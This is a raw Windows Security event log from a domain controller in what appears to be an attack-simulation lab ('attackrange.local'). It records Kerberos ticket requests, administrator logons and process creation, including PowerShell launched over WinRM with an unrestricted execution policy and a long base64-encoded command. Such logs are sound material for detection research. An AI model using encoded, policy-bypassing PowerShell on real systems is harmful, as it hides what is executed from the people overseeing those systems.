Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250735 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250734 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250733 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B75 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x49c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250732 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B75 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x49c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250731 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118DC5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250730 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118DC5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250729 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250728 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250727 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250726 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B75 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9c0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250725 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B75 - -Process Information: - New Process ID: 0x1334 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250724 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B75 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250723 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B75 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250722 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250721 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250720 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250832 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11CC72 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - 